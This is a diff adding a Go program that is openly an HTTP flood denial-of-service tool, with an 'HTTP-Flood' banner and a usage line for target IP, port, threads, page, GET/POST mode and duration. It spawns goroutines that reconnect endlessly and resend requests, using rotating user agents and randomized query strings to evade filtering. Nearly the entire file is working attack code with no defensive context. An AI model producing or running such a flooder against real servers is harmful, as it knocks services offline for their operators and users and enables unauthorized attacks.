|
| 1 | +/* |
| 2 | +Coded by LeeOn123 |
| 3 | +Please fking code ur script by ur self, kid. |
| 4 | +*/ |
| 5 | +package main |
| 6 | + |
| 7 | +import ( |
| 8 | + "bufio" |
| 9 | + "crypto/tls" |
| 10 | + "fmt" |
| 11 | + "io" |
| 12 | + "math/rand" |
| 13 | + "net" |
| 14 | + "os" |
| 15 | + "strconv" |
| 16 | + "time" |
| 17 | +) |
| 18 | + |
| 19 | +var ( |
| 20 | + UserAgents = []string{ |
| 21 | + "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1", |
| 22 | + "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", |
| 23 | + "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 24 | + "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", |
| 25 | + "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", |
| 26 | + "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2", |
| 27 | + "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0", |
| 28 | + "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", |
| 29 | + "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 30 | + "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 31 | + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", |
| 32 | + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", |
| 33 | + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7", |
| 34 | + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", |
| 35 | + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", |
| 36 | + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1", |
| 37 | + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre", |
| 38 | + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2", |
| 39 | + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1", |
| 40 | + "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", |
| 41 | + "Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0", |
| 42 | + "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)", |
| 43 | + "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016", |
| 44 | + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10", |
| 45 | + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", |
| 46 | + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18", |
| 47 | + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10", |
| 48 | + "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)", |
| 49 | + "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9", |
| 50 | + "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8", |
| 51 | + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)", |
| 52 | + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )", |
| 53 | + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1", |
| 54 | + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14", |
| 55 | + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5", |
| 56 | + "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre", |
| 57 | + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12", |
| 58 | + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5", |
| 59 | + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5", |
| 60 | + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14", |
| 61 | + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20", |
| 62 | + "Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a", |
| 63 | + "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2", |
| 64 | + "Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0", |
| 65 | + "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34", |
| 66 | + "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1", |
| 67 | + "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2", |
| 68 | + "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 69 | + "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", |
| 70 | + "Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", |
| 71 | + "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ", |
| 72 | + "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 73 | + "Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre", |
| 74 | + "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0", |
| 75 | + "Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2", |
| 76 | + "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0", |
| 77 | + "Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0", |
| 78 | + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24", |
| 79 | + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1", |
| 80 | + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", |
| 81 | + "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre", |
| 82 | + "Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", |
| 83 | + "Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2", |
| 84 | + "Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 85 | + "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre", |
| 86 | + "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0", |
| 87 | + "Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1", |
| 88 | + "Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0", |
| 89 | + "Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8", |
| 90 | + "Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0", |
| 91 | + "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15", |
| 92 | + "Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko", |
| 93 | + "Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", |
| 94 | + "Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025", |
| 95 | + "Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1", |
| 96 | + "Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020", |
| 97 | + "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1", |
| 98 | + "Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)", |
| 99 | + "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher", |
| 100 | + "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian", |
| 101 | + "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8", |
| 102 | + } |
| 103 | + abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM" |
| 104 | +) |
| 105 | + |
| 106 | +var ( |
| 107 | + Default = New( |
| 108 | + rand.New( |
| 109 | + rand.NewSource(time.Now().UnixNano()), |
| 110 | + ), |
| 111 | + ) |
| 112 | +) |
| 113 | + |
| 114 | +type Randomizer interface { |
| 115 | + Seed(n int64) |
| 116 | + Intn(n int) int |
| 117 | +} |
| 118 | + |
| 119 | +type UARand struct { |
| 120 | + Randomizer |
| 121 | + UserAgents []string |
| 122 | +} |
| 123 | + |
| 124 | +func GetRandom() string { |
| 125 | + return Default.GetRandom() |
| 126 | +} |
| 127 | + |
| 128 | +func New(r Randomizer) *UARand { |
| 129 | + return &UARand{r, UserAgents} |
| 130 | +} |
| 131 | + |
| 132 | +func (u *UARand) GetRandom() string { |
| 133 | + return u.UserAgents[u.Intn(len(u.UserAgents))] |
| 134 | +} |
| 135 | + |
| 136 | +func NewWithCustomList(userAgents []string) *UARand { |
| 137 | + r := rand.New(rand.NewSource(time.Now().UnixNano())) |
| 138 | + return &UARand{r, userAgents} |
| 139 | +} |
| 140 | + |
| 141 | +func flood() { |
| 142 | + addr := os.Args[1] |
| 143 | + addr += ":" |
| 144 | + addr += os.Args[2] |
| 145 | + request := "" |
| 146 | + if os.Args[5] == "get" { |
| 147 | + var rand_url = strconv.Itoa(rand.Intn(1000000)) |
| 148 | + request += "GET " + os.Args[4] + "?" + rand_url |
| 149 | + request += " HTTP/1.1\r\nHost: " |
| 150 | + request += addr + "\r\n" |
| 151 | + if os.Args[7] == "nil" { |
| 152 | + var useragent = GetRandom() //random useragent |
| 153 | + request += "Connection: Keep-Alive\r\n" |
| 154 | + request += "User-Agent: " + useragent + "\r\n" |
| 155 | + request += "Accept: */*\r\n" |
| 156 | + } else { |
| 157 | + fi, err := os.Open(os.Args[7]) |
| 158 | + if err != nil { |
| 159 | + fmt.Printf("Error: %s\n", err) |
| 160 | + return |
| 161 | + } |
| 162 | + defer fi.Close() |
| 163 | + br := bufio.NewReader(fi) |
| 164 | + for { |
| 165 | + a, _, c := br.ReadLine() |
| 166 | + if c == io.EOF { |
| 167 | + break |
| 168 | + } |
| 169 | + request += string(a) + "\r\n" |
| 170 | + } |
| 171 | + } |
| 172 | + request += "\r\n" |
| 173 | + } else { |
| 174 | + data := "" |
| 175 | + if os.Args[7] != "nil" { |
| 176 | + fi, err := os.Open(os.Args[7]) |
| 177 | + if err != nil { |
| 178 | + fmt.Printf("Error: %s\n", err) |
| 179 | + return |
| 180 | + } |
| 181 | + defer fi.Close() |
| 182 | + br := bufio.NewReader(fi) |
| 183 | + for { |
| 184 | + a, _, c := br.ReadLine() |
| 185 | + if c == io.EOF { |
| 186 | + break |
| 187 | + } |
| 188 | + data += string(a) + "\r\n" |
| 189 | + } |
| 190 | + |
| 191 | + } else { |
| 192 | + for x := 0; x > 100; x++ { |
| 193 | + data += string(abcd[rand.Intn(len(abcd))]) |
| 194 | + } |
| 195 | + } |
| 196 | + request := "POST " + os.Args[4] + " HTTP/1.1\r\nHost: " + addr + "\r\n" |
| 197 | + request += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n" |
| 198 | + request += "Accept-Encoding: gzip, deflate\r\n\r\n" + data |
| 199 | + } |
| 200 | + var s net.Conn |
| 201 | + var err error |
| 202 | + for { |
| 203 | + if os.Args[2] == "443" { |
| 204 | + s, err = tls.Dial("tcp", addr, nil) |
| 205 | + } else { |
| 206 | + s, err = net.Dial("tcp", addr) |
| 207 | + } |
| 208 | + defer s.Close() |
| 209 | + if err != nil { |
| 210 | + fmt.Println("Connection Down!!!") |
| 211 | + } else { |
| 212 | + for i := 1; i <= 70; i++ { |
| 213 | + s.Write([]byte(request)) |
| 214 | + time.Sleep(time.Millisecond * 100) |
| 215 | + } |
| 216 | + } |
| 217 | + //fmt.Println("Threads@", threads, " Hitting Target -->", url) |
| 218 | + } |
| 219 | +} |
| 220 | + |
| 221 | +func main() { |
| 222 | + if len(os.Args) != 8 { |
| 223 | + fmt.Println("\r\n'|| ||` || || '||''''| '||` ||` ") |
| 224 | + fmt.Println(" || || || || || . || || ") |
| 225 | + fmt.Println(" ||''|| ''||'' ''||'' '||''|, --- ||''| || .|''|, .|''|, .|''|| ") |
| 226 | + fmt.Println(" || || || || || || || || || || || || || || ") |
| 227 | + fmt.Println(".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. ") |
| 228 | + fmt.Println(" || ") |
| 229 | + fmt.Println(" .|| Golang version 1.2 ") |
| 230 | + fmt.Println(" C0d3d By L330n123") |
| 231 | + fmt.Println("==========================================================================") |
| 232 | + fmt.Println("Post Mode will use header.txt as data") |
| 233 | + fmt.Println("Usage: ", os.Args[0], "<ip> <port> <threads> <page> <get/post> <seconds> <header.txt/nil>") |
| 234 | + os.Exit(1) |
| 235 | + } |
| 236 | + var threads, _ = strconv.Atoi(os.Args[3]) |
| 237 | + var limit, _ = strconv.Atoi(os.Args[6]) |
| 238 | + fmt.Println("Flood will end in " + os.Args[6] + " seconds.") |
| 239 | + for i := 0; i < threads; i++ { |
| 240 | + go flood() // Start threads |
| 241 | + //time.Sleep( time.Millisecond * 1) |
| 242 | + } |
| 243 | + time.Sleep(time.Duration(limit) * time.Second) |
| 244 | + //Keep the threads continue |
| 245 | +} |
0 commit comments